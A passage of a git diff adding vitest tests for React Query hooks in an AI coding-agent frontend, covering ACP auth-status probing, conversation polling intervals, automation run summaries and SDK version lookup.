+    const secondRender = renderHook(() => useUnifiedGetGitChanges(), {
+      wrapper,
+    });
+    await waitFor(() => expect(getGitChanges).toHaveBeenCalledTimes(2));
+    await waitFor(() =>
+      expect(secondRender.result.current.isFetching).toBe(true),
+    );
+    expect(secondRender.result.current.data).toEqual([]);
+
+    await act(async () => {
+      refresh.resolve([makeChange("refreshed.ts")]);
+    });
+    await waitFor(() =>
+      expect(secondRender.result.current.data).toEqual([
+        makeChange("refreshed.ts"),
+      ]),
+    );
+    expect(
+      queryClient.getQueryState([
+        "file_changes",
+        "conversation-1",
+        "https://runtime.example.test/conversations/conversation-1",
+        "session-key",
+        "/workspace/agent-canvas",
+      ])?.status,
+    ).toBe("success");
+  });
+});
diff --git a/__tests__/hooks/query/use-acp-auth-status.test.tsx b/__tests__/hooks/query/use-acp-auth-status.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a9642c48f293a1f65047a5dae005f4cb00bc9ac5
--- /dev/null
+++ b/__tests__/hooks/query/use-acp-auth-status.test.tsx
@@ -0,0 +1,136 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderHook, waitFor } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import { useAcpAuthStatus } from "#/hooks/query/use-acp-auth-status";
+
+// Active backend is swapped per-test (local vs cloud) via this mutable holder.
+const backendMock = vi.hoisted(() => ({
+  current: {
+    backend: { id: "local-1", kind: "local" as "local" | "cloud" },
+    orgId: null as string | null,
+  },
+}));
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => backendMock.current,
+}));
+
+// AcpService.getAuthStatus resolves an AcpAuthStatus string (it runs the
+// detection command + classifies internally; that logic is unit-tested in
+// acp-service.api.test.ts).
+const getAuthStatus = vi.hoisted(() => vi.fn());
+vi.mock("#/api/acp-service/acp-service.api", () => ({
+  default: {
+    getAuthStatus: (...args: unknown[]) => getAuthStatus(...args),
+  },
+}));
+
+function wrapper({ children }: { children: React.ReactNode }) {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return <QueryClientProvider client={client}>{children}</QueryClientProvider>;
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  backendMock.current = {
+    backend: { id: "local-1", kind: "local" },
+    orgId: null,
+  };
+});
+
+describe("useAcpAuthStatus", () => {
+  it("reports authenticated when the probe says so", async () => {
+    getAuthStatus.mockResolvedValue("authenticated");
+
+    const { result } = renderHook(() => useAcpAuthStatus("claude-code"), {
+      wrapper,
+    });
+
+    await waitFor(() => expect(result.current.status).toBe("authenticated"));
+    // The provider key parameterizes the probe.
+    expect(getAuthStatus).toHaveBeenCalledTimes(1);
+    expect(getAuthStatus).toHaveBeenCalledWith("claude-code");
+  });
+
+  it("reports unauthenticated when the probe says so", async () => {
+    getAuthStatus.mockResolvedValue("unauthenticated");
+
+    const { result } = renderHook(() => useAcpAuthStatus("codex"), { wrapper });
+
+    await waitFor(() => expect(result.current.status).toBe("unauthenticated"));
+    expect(getAuthStatus).toHaveBeenCalledWith("codex");
+  });
+
+  it("falls back to unknown when the probe call rejects", async () => {
+    getAuthStatus.mockRejectedValue(new Error("network down"));
+
+    const { result } = renderHook(() => useAcpAuthStatus("claude-code"), {
+      wrapper,
+    });
+
+    // A rejected probe must not be read as "not logged in" — it stays unknown
+    // so the caller keeps showing the API-key fields.
+    await waitFor(() => expect(result.current.isChecking).toBe(false));
+    expect(result.current.status).toBe("unknown");
+  });
+
+  it("surfaces an unknown status from the probe verbatim", async () => {
+    getAuthStatus.mockResolvedValue("unknown");
+
+    const { result } = renderHook(() => useAcpAuthStatus("claude-code"), {
+      wrapper,
+    });
+
+    await waitFor(() => expect(result.current.isChecking).toBe(false));
+    expect(result.current.status).toBe("unknown");
+  });
+
+  it("does not probe on a cloud backend", async () => {
+    backendMock.current = {
+      backend: { id: "cloud-1", kind: "cloud" },
+      orgId: null,
+    };
+
+    const { result } = renderHook(() => useAcpAuthStatus("claude-code"), {
+      wrapper,
+    });
+
+    await Promise.resolve();
+    expect(result.current.status).toBe("unknown");
+    expect(result.current.isSupported).toBe(false);
+    // The probe is gated off, so it never enters a "checking" state — the
+    // banner consumer (resolveAcpAuthDisplay) can fall straight through to the
+    // credentials-configured signal instead of spinning on a probe that will
+    // never run. This is the behaviour the Docker/cloud banner state relies on.
+    expect(result.current.isChecking).toBe(false);
+    expect(getAuthStatus).not.toHaveBeenCalled();
+  });
+
+  it("probes credential-less providers too (e.g. gemini-cli, OAuth login)", async () => {
+    // Eligibility is not tied to having API-key fields — the server can detect
+    // subscription/OAuth providers like Gemini, so the hook must still probe.
+    getAuthStatus.mockResolvedValue("authenticated");
+
+    const { result } = renderHook(() => useAcpAuthStatus("gemini-cli"), {
+      wrapper,
+    });
+
+    await waitFor(() => expect(result.current.status).toBe("authenticated"));
+    expect(result.current.isSupported).toBe(true);
+    expect(getAuthStatus).toHaveBeenCalledWith("gemini-cli");
+  });
+
+  it("does not probe when disabled (e.g. the step is not the active slide)", async () => {
+    const { result } = renderHook(
+      () => useAcpAuthStatus("claude-code", { enabled: false }),
+      { wrapper },
+    );
+
+    await Promise.resolve();
+    expect(result.current.status).toBe("unknown");
+    expect(getAuthStatus).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/query/use-active-acp-profile-detail.test.tsx b/__tests__/hooks/query/use-active-acp-profile-detail.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7138ad38cef2a1f43865bba921fdb2f113d98863
--- /dev/null
+++ b/__tests__/hooks/query/use-active-acp-profile-detail.test.tsx
@@ -0,0 +1,80 @@
+import { screen, waitFor } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { useActiveAcpProfileDetail } from "#/hooks/query/use-active-acp-profile-detail";
+
+const listProfilesMock = vi.fn();
+const getProfileMock = vi.fn();
+
+vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({
+  default: {
+    listProfiles: (...args: unknown[]) => listProfilesMock(...args),
+    getProfile: (...args: unknown[]) => getProfileMock(...args),
+  },
+  WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME: "default",
+}));
+
+function Probe() {
+  const profile = useActiveAcpProfileDetail();
+  return (
+    <div data-testid="acp-detail">
+      {profile ? `${profile.acp_server}:${profile.acp_model}` : "none"}
+    </div>
+  );
+}
+
+describe("useActiveAcpProfileDetail", () => {
+  beforeEach(() => {
+    listProfilesMock.mockReset();
+    getProfileMock.mockReset();
+  });
+
+  it("resolves the active ACP profile's server and model on the home page", async () => {
+    listProfilesMock.mockResolvedValue({
+      profiles: [{ id: "id-claude", name: "claude", agent_kind: "acp" }],
+      active_agent_profile_id: "id-claude",
+    });
+    getProfileMock.mockResolvedValue({
+      profile: {
+        id: "id-claude",
+        name: "claude",
+        agent_kind: "acp",
+        acp_server: "claude-code",
+        acp_model: "sonnet",
+      },
+    });
+
+    renderWithProviders(<Probe />, { navigation: { conversationId: null } });
+
+    expect(await screen.findByText("claude-code:sonnet")).toBeInTheDocument();
+    expect(getProfileMock).toHaveBeenCalledWith("claude");
+  });
+
+  it("does not fetch the detail while a conversation is open", async () => {
+    listProfilesMock.mockResolvedValue({
+      profiles: [{ id: "id-claude", name: "claude", agent_kind: "acp" }],
+      active_agent_profile_id: "id-claude",
+    });
+
+    renderWithProviders(<Probe />, {
+      navigation: { conversationId: "conv-1" },
+    });
+
+    await waitFor(() => expect(listProfilesMock).toHaveBeenCalled());
+    expect(getProfileMock).not.toHaveBeenCalled();
+    expect(screen.getByTestId("acp-detail")).toHaveTextContent("none");
+  });
+
+  it("does not fetch the detail when the active profile is OpenHands", async () => {
+    listProfilesMock.mockResolvedValue({
+      profiles: [{ id: "id-oh", name: "default", agent_kind: "openhands" }],
+      active_agent_profile_id: "id-oh",
+    });
+
+    renderWithProviders(<Probe />, { navigation: { conversationId: null } });
+
+    await waitFor(() => expect(listProfilesMock).toHaveBeenCalled());
+    expect(getProfileMock).not.toHaveBeenCalled();
+    expect(screen.getByTestId("acp-detail")).toHaveTextContent("none");
+  });
+});
diff --git a/__tests__/hooks/query/use-active-conversation.test.ts b/__tests__/hooks/query/use-active-conversation.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d82a8c491d940c0a3d9574a97eb436b7e3d84506
--- /dev/null
+++ b/__tests__/hooks/query/use-active-conversation.test.ts
@@ -0,0 +1,249 @@
+/**
+ * Tests that useActiveConversation passes the correct refetchInterval callback
+ * to useUserConversation.
+ *
+ * Regression: the original callback only fast-polled (3 s) when
+ * conversation_url was absent. For PAUSED sandboxes the cloud API keeps the
+ * old conversation_url — checking that field alone left the hook on the slow
+ * 30-second interval while the sandbox was waking up after a resume call.
+ *
+ * The fix adds sandbox_status === "PAUSED" as a second fast-poll trigger so
+ * the hook picks up the PAUSED → RUNNING transition within ~3 s regardless of
+ * whether conversation_url is present.
+ *
+ * It also fast-polls while the title is still unset and the agent is actively
+ * executing, so the header title (which lands asynchronously) refreshes within
+ * ~3 s instead of on the slow 30 s tick.
+ */
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderHook } from "@testing-library/react";
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+
+// ── Mocks ─────────────────────────────────────────────────────────────────────
+
+const { mockUseUserConversation, mockSetCurrentConversation } = vi.hoisted(
+  () => ({
+    mockUseUserConversation: vi.fn(),
+    mockSetCurrentConversation: vi.fn(),
+  }),
+);
+
+vi.mock("#/hooks/query/use-user-conversation", () => ({
+  useUserConversation: (...args: unknown[]) => mockUseUserConversation(...args),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "conv-test" }),
+  useConversationId: () => ({ conversationId: "conv-test" }),
+}));
+
+vi.mock("#/api/conversation-service/conversation-service.api", () => ({
+  default: { setCurrentConversation: mockSetCurrentConversation },
+}));
+
+// ── Helpers ───────────────────────────────────────────────────────────────────
+
+type IntervalFn = (query: {
+  state: { data: AppConversation | null | undefined };
+}) => number;
+
+/** Render the hook and return the refetchInterval function it passed to useUserConversation. */
+function renderAndCaptureIntervalFn(): IntervalFn {
+  let captured: IntervalFn | undefined;
+
+  mockUseUserConversation.mockImplementation(
+    (_cid: string | null, intervalFn: IntervalFn) => {
+      captured = intervalFn;
+      return {
+        data: undefined,
+        isLoading: false,
+        isPending: false,
+        isFetched: false,
+        error: null,
+        isError: false,
+      };
+    },
+  );
+
+  renderHook(() => useActiveConversation());
+
+  if (!captured) throw new Error("useUserConversation was not called");
+  return captured;
+}
+
+function makeQuery(data: Partial<AppConversation> | null | undefined): {
+  state: { data: AppConversation | null | undefined };
+} {
+  if (!data) return { state: { data: data as null | undefined } };
+  return {
+    state: {
+      data: {
+        id: "conv-1",
+        created_by_user_id: null,
+        selected_repository: null,
+        selected_branch: null,
+        git_provider: null,
+        title: "Test",
+        trigger: null,
+        pr_number: [],
+        llm_model: null,
+        metrics: null,
+        created_at: "2024-01-01T00:00:00Z",
+        updated_at: "2024-01-01T00:00:00Z",
+        execution_status: null,
+        conversation_url:
+          "https://sandbox.example.com/api/conversations/conv-1",
+        session_api_key: null,
+        sandbox_id: null,
+        sub_conversation_ids: [],
+        ...data,
+      } as AppConversation,
+    },
+  };
+}
+
+// ── Tests ─────────────────────────────────────────────────────────────────────
+
+describe("useActiveConversation — refetchInterval callback", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("returns 3000 when sandbox_status is PAUSED (even if conversation_url is present)", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    const result = intervalFn(
+      makeQuery({
+        sandbox_status: "PAUSED",
+        conversation_url:
+          "https://sandbox.example.com/api/conversations/conv-1",
+      }),
+    );
+
+    expect(result).toBe(3000);
+  });
+
+  it("returns 3000 when conversation_url is null (sandbox still starting)", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    const result = intervalFn(makeQuery({ conversation_url: null }));
+
+    expect(result).toBe(3000);
+  });
+
+  it("returns 30000 when conversation_url is present and sandbox_status is null (local backend)", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    const result = intervalFn(
+      makeQuery({ sandbox_status: null, conversation_url: "https://..." }),
+    );
+
+    expect(result).toBe(30000);
+  });
+
+  it("returns 30000 when conversation_url is present and sandbox_status is RUNNING", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    const result = intervalFn(
+      makeQuery({
+        sandbox_status: "RUNNING",
+        conversation_url:
+          "https://sandbox.example.com/api/conversations/conv-1",
+      }),
+    );
+
+    expect(result).toBe(30000);
+  });
+
+  it("returns 30000 when query data is null (conversation not yet loaded)", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    // data is null / undefined — the `if (data && ...)` guard returns false
+    expect(intervalFn(makeQuery(null))).toBe(30000);
+    expect(intervalFn(makeQuery(undefined))).toBe(30000);
+  });
+
+  // ── fast-poll until the title is set ───────────────────────────────────────
+
+  it("returns 3000 when title is unset and the agent is actively executing", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    const result = intervalFn(
+      makeQuery({
+        title: null,
+        execution_status: ExecutionStatus.RUNNING,
+        conversation_url:
+          "https://sandbox.example.com/api/conversations/conv-1",
+        sandbox_status: "RUNNING",
+      }),
+    );
+
+    expect(result).toBe(3000);
+  });
+
+  it("returns 3000 when title is an empty string and the agent is actively executing", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    const result = intervalFn(
+      makeQuery({
+        title: "",
+        execution_status: ExecutionStatus.IDLE,
+        conversation_url:
+          "https://sandbox.example.com/api/conversations/conv-1",
+        sandbox_status: "RUNNING",
+      }),
+    );
+
+    expect(result).toBe(3000);
+  });
+
+  it("returns 30000 when title is set, even while the agent is executing", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    const result = intervalFn(
+      makeQuery({
+        title: "Generated title",
+        execution_status: ExecutionStatus.RUNNING,
+        conversation_url:
+          "https://sandbox.example.com/api/conversations/conv-1",
+        sandbox_status: "RUNNING",
+      }),
+    );
+
+    expect(result).toBe(30000);
+  });
+
+  it("returns 30000 when title is unset but execution has errored (no title is coming)", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    const result = intervalFn(
+      makeQuery({
+        title: null,
+        execution_status: ExecutionStatus.ERROR,
+        conversation_url:
+          "https://sandbox.example.com/api/conversations/conv-1",
+        sandbox_status: "RUNNING",
+      }),
+    );
+
+    expect(result).toBe(30000);
+  });
+
+  it("returns 30000 when title is unset and execution_status is null (idle/terminal, not active)", () => {
+    const intervalFn = renderAndCaptureIntervalFn();
+
+    const result = intervalFn(
+      makeQuery({
+        title: null,
+        execution_status: null,
+        conversation_url:
+          "https://sandbox.example.com/api/conversations/conv-1",
+        sandbox_status: "RUNNING",
+      }),
+    );
+
+    expect(result).toBe(30000);
+  });
+});
diff --git a/__tests__/hooks/query/use-agent-settings-schema.test.tsx b/__tests__/hooks/query/use-agent-settings-schema.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ad78f31b27daea2c0ed02609025de83842fcf424
--- /dev/null
+++ b/__tests__/hooks/query/use-agent-settings-schema.test.tsx
@@ -0,0 +1,96 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import {
+  __resetActiveStoreForTests,
+  NO_BACKEND_ID,
+} from "#/api/backend-registry/active-store";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { useActiveBackendContext } from "#/contexts/active-backend-context";
+import { useAgentSettingsSchema } from "#/hooks/query/use-agent-settings-schema";
+import type { SettingsSchema } from "#/types/settings";
+import { withLlmSubscriptionSchemaFields } from "#/utils/llm-subscription-schema";
+
+const agentSchema: SettingsSchema = {
+  model_name: "AgentSettings",
+  sections: [
+    {
+      key: "llm",
+      label: "LLM",
+      fields: [],
+    },
+  ],
+};
+
+function makeWrapper(queryClient = new QueryClient()) {
+  function Wrapper({ children }: { children: React.ReactNode }) {
+    return (
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    );
+  }
+  return Wrapper;
+}
+
+function useSchemaWithBackendContext() {
+  return {
+    backendContext: useActiveBackendContext(),
+    schemaQuery: useAgentSettingsSchema(),
+  };
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  vi.stubEnv("VITE_BACKEND_BASE_URL", "");
+  vi.stubEnv("VITE_SESSION_API_KEY", "");
+  __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  vi.restoreAllMocks();
+  __resetActiveStoreForTests();
+});
+
+describe("useAgentSettingsSchema", () => {
+  it("waits for a configured backend, then fetches schema for that backend", async () => {
+    const getSettingsSchemaSpy = vi
+      .spyOn(SettingsService, "getSettingsSchema")
+      .mockResolvedValue(agentSchema);
+
+    const queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+      },
+    });
+
+    const { result } = renderHook(() => useSchemaWithBackendContext(), {
+      wrapper: makeWrapper(queryClient),
+    });
+
+    expect(result.current.backendContext.active.backend.id).toBe(NO_BACKEND_ID);
+    await waitFor(() => {
+      expect(getSettingsSchemaSpy).not.toHaveBeenCalled();
+    });
+
+    act(() => {
+      result.current.backendContext.addBackend({
+        name: "Local",
+        host: "http://localhost:8000",
+        apiKey: "session-key",
+        kind: "local",
+      });
+    });
+
+    await waitFor(() => {
+      expect(result.current.schemaQuery.data).toEqual(
+        withLlmSubscriptionSchemaFields(agentSchema),
+      );
+    });
+    expect(getSettingsSchemaSpy).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/hooks/query/use-automation-health.test.tsx b/__tests__/hooks/query/use-automation-health.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ba712dbeec3d53b2542e24fcbbf5c960a95e5633
--- /dev/null
+++ b/__tests__/hooks/query/use-automation-health.test.tsx
@@ -0,0 +1,67 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClientProvider, QueryClient } from "@tanstack/react-query";
+import { useAutomationHealth } from "#/hooks/query/use-automation-health";
+import AutomationService from "#/api/automation-service/automation-service.api";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    checkHealth: vi.fn(),
+  },
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { id: "test-backend", kind: "local" },
+    orgId: null,
+  }),
+}));
+
+function createWrapper() {
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: {
+        retry: false,
+      },
+    },
+  });
+  return ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+}
+
+describe("useAutomationHealth", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should return healthy status when backend is available", async () => {
+    vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" });
+
+    const { result } = renderHook(() => useAutomationHealth(), {
+      wrapper: createWrapper(),
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(result.current.data?.status).toBe("ok");
+  });
+
+  it("should return error status when backend is not available", async () => {
+    vi.mocked(AutomationService.checkHealth).mockResolvedValue({
+      status: "error",
+      message: "Automation backend is not available",
+    });
+
+    const { result } = renderHook(() => useAutomationHealth(), {
+      wrapper: createWrapper(),
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(result.current.data?.status).toBe("error");
+    expect(result.current.data?.message).toBe(
+      "Automation backend is not available",
+    );
+  });
+});
diff --git a/__tests__/hooks/query/use-automation-run-summaries.test.tsx b/__tests__/hooks/query/use-automation-run-summaries.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6387d6f9f47855132c39f253150b0fac6718d15b
--- /dev/null
+++ b/__tests__/hooks/query/use-automation-run-summaries.test.tsx
@@ -0,0 +1,222 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import { useAutomationRunSummaries } from "#/hooks/query/use-automation-run-summaries";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationRun,
+  type AutomationRunsResponse,
+} from "#/types/automation";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getAutomationRuns: vi.fn(),
+  },
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { id: "test-backend", kind: "local" },
+    orgId: null,
+  }),
+}));
+
+const automations = [
+  { id: "auto-1", name: "Nightly QA" },
+] as unknown as Automation[];
+
+function makeRun(status: AutomationRunStatus): AutomationRun {
+  return {
+    id: "run-1",
+    status,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-08-01T10:00:00Z",
+    completed_at:
+      status === AutomationRunStatus.RUNNING ? null : "2026-08-01T10:05:00Z",
+  };
+}
+
+function makeAutomation(id: string): Automation {
+  return {
+    id,
+    name: `Automation ${id}`,
+    prompt: "p",
+    trigger: { type: "schedule", schedule_human: "Daily" },
+    enabled: true,
+    repository: "acme/repo",
+    model: "daily-profile",
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+  };
+}
+
+const emptyRuns: AutomationRunsResponse = { runs: [], total: 0 };
+
+function createWrapper() {
+  // No retry default override here: the hook's own `retry: false` is under
+  // test, and a global override would mask a regression.
+  const queryClient = new QueryClient();
+  return ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+}
+
+// The dashboard reads its cards from this hook. Its phase — and above all the
+// phase's age — is only honest if the data behind it keeps moving: a run that
+// is working through its phases must not sit on the card reading "Queued ·
+// 40m ago", which is exactly the stall signal the age exists to send.
+describe("useAutomationRunSummaries — keeping an in-flight card current", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    vi.useFakeTimers({ shouldAdvanceTime: true });
+  });
+
+  afterEach(() => {
+    vi.useRealTimers();
+  });
+
+  it("refetches while a sampled run is still in flight", async () => {
+    vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue({
+      runs: [makeRun(AutomationRunStatus.RUNNING)],
+      total: 1,
+    });
+
+    renderHook(() => useAutomationRunSummaries(automations), {
+      wrapper: createWrapper(),
+    });
+
+    await waitFor(() =>
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1),
+    );
+
+    await vi.advanceTimersByTimeAsync(15_000);
+
+    await waitFor(() =>
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(2),
+    );
+  });
+
+  it("stops once every sampled run has finished", async () => {
+    vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue({
+      runs: [makeRun(AutomationRunStatus.COMPLETED)],
+      total: 1,
+    });
+
+    renderHook(() => useAutomationRunSummaries(automations), {
+      wrapper: createWrapper(),
+    });
+
+    await waitFor(() =>
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1),
+    );
+
+    await vi.advanceTimersByTimeAsync(60_000);
+
+    expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1);
+  });
+
+  it("stops when the newest run finished, despite an older stuck run", async () => {
+    // A crashed dispatcher leaves an old run non-terminal forever. The card
+    // renders `runs[0]` and nothing else, so polling on *any* sampled run
+    // pins this automation to a permanent refetch that never changes the
+    // screen — one wasted request every 15s, per automation, indefinitely.
+    vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue({
+      runs: [
+        makeRun(AutomationRunStatus.COMPLETED),
+        { ...makeRun(AutomationRunStatus.RUNNING), id: "run-stuck" },
+      ],
+      total: 2,
+    });
+
+    renderHook(() => useAutomationRunSummaries(automations), {
+      wrapper: createWrapper(),
+    });
+
+    await waitFor(() =>
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1),
+    );
+
+    await vi.advanceTimersByTimeAsync(60_000);
+
+    expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe("useAutomationRunSummaries", () => {
+  beforeEach(() => {
+    vi.mocked(AutomationService.getAutomationRuns).mockReset();
+  });
+
+  it("keeps at most three runs requests in flight and starts the rest as responses arrive", async () => {
+    // Arrange — five automations, each runs request held open by the test.
+    const pending: Array<(response: AutomationRunsResponse) => void> = [];
+    vi.mocked(AutomationService.getAutomationRuns).mockImplementation(
+      () =>
+        new Promise<AutomationRunsResponse>((resolve) => {
+          pending.push(resolve);
+        }),
+    );
+    const fanOut = ["a-1", "a-2", "a-3", "a-4", "a-5"].map(makeAutomation);
+
+    // Act
+    const { result } = renderHook(() => useAutomationRunSummaries(fanOut), {
+      wrapper: createWrapper(),
+    });
+
+    // Assert — only three requests start despite five queries mounting.
+    await waitFor(() => {
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(3);
+    });
+    expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(3);
+
+    // One response frees a slot for exactly one queued request.
+    await act(async () => {
+      pending.shift()!(emptyRuns);
+    });
+    await waitFor(() => {
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(4);
+    });
+
+    // Draining the rest completes the whole fan-out.
+    await act(async () => {
+      pending.splice(0).forEach((resolve) => resolve(emptyRuns));
+    });
+    await waitFor(() => {
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(5);
+    });
+    await act(async () => {
+      pending.splice(0).forEach((resolve) => resolve(emptyRuns));
+    });
+    await waitFor(() => {
+      fanOut.forEach((automation) => {
+        expect(result.current.get(automation.id)?.isLoading).toBe(false);
+      });
+    });
+  });
+
+  it("settles a failed summary into the error state without retrying", async () => {
+    // Arrange — the runs request fails outright.
+    vi.mocked(AutomationService.getAutomationRuns).mockRejectedValue(
+      new Error("automation service unavailable"),
+    );
+
+    // Act
+    const { result } = renderHook(
+      () => useAutomationRunSummaries([makeAutomation("a-1")]),
+      { wrapper: createWrapper() },
+    );
+
+    // Assert — the entry reports the error promptly (retries would keep it
+    // loading for seconds) and the service was asked exactly once.
+    await waitFor(() => {
+      expect(result.current.get("a-1")?.isError).toBe(true);
+    });
+    expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1);
+    expect(result.current.get("a-1")?.summary).toBeNull();
+  });
+});
diff --git a/__tests__/hooks/query/use-automation-sdk-version.test.tsx b/__tests__/hooks/query/use-automation-sdk-version.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5d96a9e7c7adbdf2eb8f957b79d21815dfbe652b
--- /dev/null
+++ b/__tests__/hooks/query/use-automation-sdk-version.test.tsx
@@ -0,0 +1,186 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient } from "@tanstack/react-query";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import type { ResolvedActiveBackend } from "#/api/backend-registry/types";
+import {
+  AUTOMATION_SDK_VERSION_CACHE_NAMESPACE,
+  useAutomationSdkVersion,
+} from "#/hooks/query/use-automation-sdk-version";
+import { getQueryClient, setQueryClient } from "#/query-client-config";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getSdkVersion: vi.fn(),
+  },
+}));
+
+const activeBackendMock = vi.hoisted(() => ({
+  active: {
+    backend: {
+      id: "local-1",
+      name: "Local",
+      host: "http://localhost:8000",
+      apiKey: "session-key",
+      kind: "local",
+    },
+    orgId: null,
+  } as ResolvedActiveBackend,
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => activeBackendMock.active,
+}));
+
+const localSdkVersionQueryKey = [
+  AUTOMATION_SDK_VERSION_CACHE_NAMESPACE,
+  "local-1",
+  "local",
+  "http://localhost:8000",
+  "",
+];
+
+describe("useAutomationSdkVersion", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    setQueryClient(
+      new QueryClient({
+        defaultOptions: { queries: { retry: false } },
+      }),
+    );
+    activeBackendMock.active = {
+      backend: {
+        id: "local-1",
+        name: "Local",
+        host: "http://localhost:8000",
+        apiKey: "session-key",
+        kind: "local",
+      },
+      orgId: null,
+    };
+  });
+
+  it("settles lookup failures as a non-fatal null result", async () => {
+    vi.mocked(AutomationService.getSdkVersion).mockRejectedValue(
+      new Error("automation unavailable"),
+    );
+
+    const { result } = renderHook(() => useAutomationSdkVersion());
+
+    await waitFor(() =>
+      expect(getQueryClient().getQueryState(localSdkVersionQueryKey)).toEqual(
+        expect.objectContaining({ data: null, status: "success" }),
+      ),
+    );
+
+    expect(result.current).toBeNull();
+    expect(AutomationService.getSdkVersion).toHaveBeenCalledTimes(1);
+  });
+
+  it("does not start a query when SDK version support is unavailable", () => {
+    const getSdkVersion = vi.mocked(AutomationService.getSdkVersion);
+    const getSdkVersionDescriptor = Object.getOwnPropertyDescriptor(
+      AutomationService,
+      "getSdkVersion",
+    );
+    if (!getSdkVersionDescriptor) {
+      throw new Error("Expected getSdkVersion to be defined");
+    }
+
+    Object.defineProperty(AutomationService, "getSdkVersion", {
+      configurable: true,
+      value: undefined,
+    });
+
+    try {
+      const hook = renderHook(() => useAutomationSdkVersion());
+
+      expect(hook.result.current).toBeNull();
